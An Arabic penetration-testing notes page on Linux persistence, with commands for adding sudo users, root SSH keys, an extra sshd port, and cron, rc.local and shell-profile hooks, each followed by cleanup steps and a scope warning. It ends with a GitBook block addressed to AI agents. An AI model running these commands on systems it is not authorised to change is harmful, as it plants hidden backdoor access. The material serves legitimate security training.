> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/post-exploitation/linux-persistence.md).

# الاستمرارية في Linux

الثبات هو مرحلة ما بعد الاستغلال حيث يصبح الوصول قابلاً للتكرار بعد الحصول على أول غلاف. في العمليات الحقيقية، استخدم هذه التقنيات فقط عندما تكون ضمن النطاق بشكل صريح، وثّق كل تغيير، وأزل كل وسائل الثبات قبل إنهاء الاختبار.

{% hint style="warning" %}
يغيّر الثبات حسابات المستخدمين، ومسارات تسجيل الدخول، والمهام المجدولة، وملفات بدء التشغيل، أو جذور الويب. عامل كل أمر على أنه إجراء في مختبر أو تقييم مُصرَّح به، واحتفظ بملاحظة تنظيف لكل تغيير تُجريه.
{% endhint %}

## خريطة سريعة

| الطريقة                    | أفضل استخدام                                                   | الدليل الرئيسي                                               |
| -------------------------- | -------------------------------------------------------------- | ------------------------------------------------------------ |
| التلاعب بحساب المستخدم     | ثبات مضبوط في مختبر أو اختبار استعادة.                         | `/etc/passwd`, `/etc/shadow`, `/etc/group`، وملحقات sudoers. |
| المفاتيح المصرح بها لـ SSH | وصول موثوق قائم على المفاتيح لمستخدم معروف.                    | `~/.ssh/authorized_keys`، أذونات الملف، سجلات SSH.           |
| مهام كرون                  | تشغيل أوامر تحقق غير ضارة بشكل متكرر وفق جدول.                 | `/etc/crontab`, `/etc/cron.d/*`، وcrontab الخاص بالمستخدم.   |
| برامج بدء التشغيل          | التنفيذ بعد إعادة التشغيل أو بدء الخدمة.                       | `/etc/rc.local`، ووحدات systemd، وملفات الملف الشخصي.        |
| ملفات shell الشخصية        | يُفعّل عند تسجيل الدخول التفاعلي.                              | `.bashrc`, `.profile`, `/etc/profile`.                       |
| التحقق من وصول الويب       | تأكيد جذور الويب القابلة للكتابة والتنفيذ من جهة الخادم بأمان. | ملف جذر الويب، سجلات الوصول، مستخدم خادم الويب.              |

## التلاعب بحساب المستخدم

إنشاء حساب مضبوط يكون صاخبًا، سهل الاكتشاف، وعادةً لا يكون مقبولًا إلا في المختبرات أو عندما تسمح قواعد الاشتباك بذلك صراحةً.

### إنشاء مستخدم جديد بصلاحيات مرتفعة

```bash
useradd -m -s /bin/bash assessment-user
usermod -aG sudo assessment-user
passwd assessment-user
```

Debian/Ubuntu:

```bash
adduser assessment-user sudo
```

CentOS/RHEL:

```bash
usermod -aG wheel assessment-user
```

### تعديل مستخدم موجود

```bash
usermod -s /bin/bash user
usermod -aG sudo user
echo "user ALL=(ALL:ALL) ALL" > /etc/sudoers.d/user
chmod 440 /etc/sudoers.d/user
passwd user
```

### التحقق والتنظيف

```bash
id assessment-user
groups assessment-user
sudo -l -U assessment-user
```

التنظيف:

```bash
deluser assessment-user sudo 2>/dev/null
userdel -r assessment-user
rm -f /etc/sudoers.d/user
```

## ثبات SSH

ثبات مفتاح SSH أنظف من تغييرات كلمة المرور، لكنه لا يزال شديد الظهور في مراقبة سلامة الملفات وسجلات SSH.

### المفاتيح المصرح بها

لمستخدم عادي:

```bash
mkdir -p /home/user/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EA... assessment-key" >> /home/user/.ssh/authorized_keys
chmod 700 /home/user/.ssh
chmod 600 /home/user/.ssh/authorized_keys
chown -R user:user /home/user/.ssh
```

للجذر، فقط عندما يكون ذلك مصرحًا به صراحةً:

```bash
mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EA... assessment-key" >> /root/.ssh/authorized_keys
chmod 700 /root/.ssh
chmod 600 /root/.ssh/authorized_keys
```

### منفذ SSH ثانوي

إضافة منفذ ثانٍ صاخبة ويجب توثيقها بوضوح:

```bash
echo "Port 22" >> /etc/ssh/sshd_config
echo "Port 2222" >> /etc/ssh/sshd_config
systemctl restart sshd
```

التحقق:

```bash
ss -tuln | grep ':22\|:2222'
ssh -i id_rsa user@target -p 2222
```

التنظيف:

```bash
sed -i '/Port 2222/d' /etc/ssh/sshd_config
systemctl restart sshd
```

## ثبات Cron

ثبات Cron مفيد في المختبرات لأنه سهل العرض وسهل الإزالة. في البيئات الحقيقية، غالبًا ما تتم مراقبة مهام cron.

### Cron على مستوى النظام

```bash
echo "* * * * * root /opt/assessment/validate-access.sh" >> /etc/crontab
```

### Cron المستخدم

```bash
(crontab -l 2>/dev/null; echo "* * * * * /opt/assessment/validate-access.sh") | crontab -
```

### `/etc/cron.d`

```bash
echo "* * * * * root /opt/assessment/validate-access.sh" > /etc/cron.d/system-update
chmod 644 /etc/cron.d/system-update
```

التنظيف:

```bash
crontab -l | grep -v '/opt/assessment/validate-access.sh' | crontab -
rm -f /etc/cron.d/system-update
sed -i '/validate-access.sh/d' /etc/crontab
```

## برامج بدء التشغيل

يعمل الثبات عند بدء التشغيل بعد الإقلاع أو أثناء تهيئة تسجيل الدخول/الجلسة.

### `rc.local`

```bash
cat > /etc/rc.local <<'EOF'
#!/bin/bash
/opt/assessment/validate-access.sh &
exit 0
EOF
chmod +x /etc/rc.local
```

### ملفات shell الشخصية

ملف المستخدم الشخصي:

```bash
echo "nohup /opt/assessment/validate-access.sh >/dev/null 2>&1 &" >> ~/.bashrc
```

الملف الشخصي العام:

```bash
echo "nohup /opt/assessment/validate-access.sh >/dev/null 2>&1 &" >> /etc/profile
```

التنظيف:

```bash
sed -i '/validate-access.sh/d' ~/.bashrc
sed -i '/validate-access.sh/d' /etc/profile
rm -f /etc/rc.local
```

## التحقق من وصول الويب

قد يوفر جذر ويب قابل للكتابة وصولًا متكررًا إذا كان الخادم ينفذ الشيفرة التي يتم رفعها. لا تُخزّن حمولات web shell الحية في الملاحظات؛ بل وثّق المسار، ووقت التشغيل، وطلب التحقق، والسجلات، والتنظيف بدلًا من ذلك.

### نمط توثيق آمن

| الحقل                 | مثال                                                         |
| --------------------- | ------------------------------------------------------------ |
| جذر الويب             | `/var/www/html/` أو `/srv/www/`                              |
| المسار القابل للكتابة | `/var/www/html/images/`                                      |
| وقت التشغيل           | PHP، Python CGI، ASPX، JSP                                   |
| اسم ملف الاختبار      | اسم ملف تقييم معلم بوضوح                                     |
| طلب التحقق            | طلب غير ضار يثبت التنفيذ من جهة الخادم، مثل إرجاع UID الحالي |
| أمر التنظيف           | أمر الإزالة الدقيق ومسارات السجلات المطلوب مراجعتها          |

### قائمة التحقق للنشر

```bash
ls -la /var/www/ /srv/www/ 2>/dev/null
find /var/www /srv/www -type d -writable 2>/dev/null
find /var/www /srv/www -type f -mtime -1 -ls 2>/dev/null
```

يجب أن يثبت التحقق التنفيذ بأقل إجراء توغّل ممكن، ثم يُزال الملف فورًا.

التنظيف:

```bash
rm -f /path/to/authorized-test-file
find /var/www /srv/www -type f -mtime -1 -ls 2>/dev/null
grep -R "authorized-test" /var/log/apache2 /var/log/httpd /var/log/nginx 2>/dev/null
```

## ملاحظات التقرير

سجّل:

1. طريقة الثبات الدقيقة المستخدمة.
2. مسارات الملفات التي تم تغييرها.
3. المستخدم، والمجموعة، والأذونات قبل وبعد.
4. أمر التحقق ونتيجته.
5. أمر التنظيف والتأكيد.

## قائمة التحقق السريعة للتنظيف

```bash
grep -R "assessment-key\|validate-access.sh\|authorized-test" /etc /home /root /var/www /srv/www 2>/dev/null
find /etc/cron* -type f -mtime -7 -ls 2>/dev/null
find /var/www /srv/www -type f -mtime -7 -ls 2>/dev/null
last
journalctl -u ssh -n 100 2>/dev/null
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/post-exploitation/linux-persistence.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
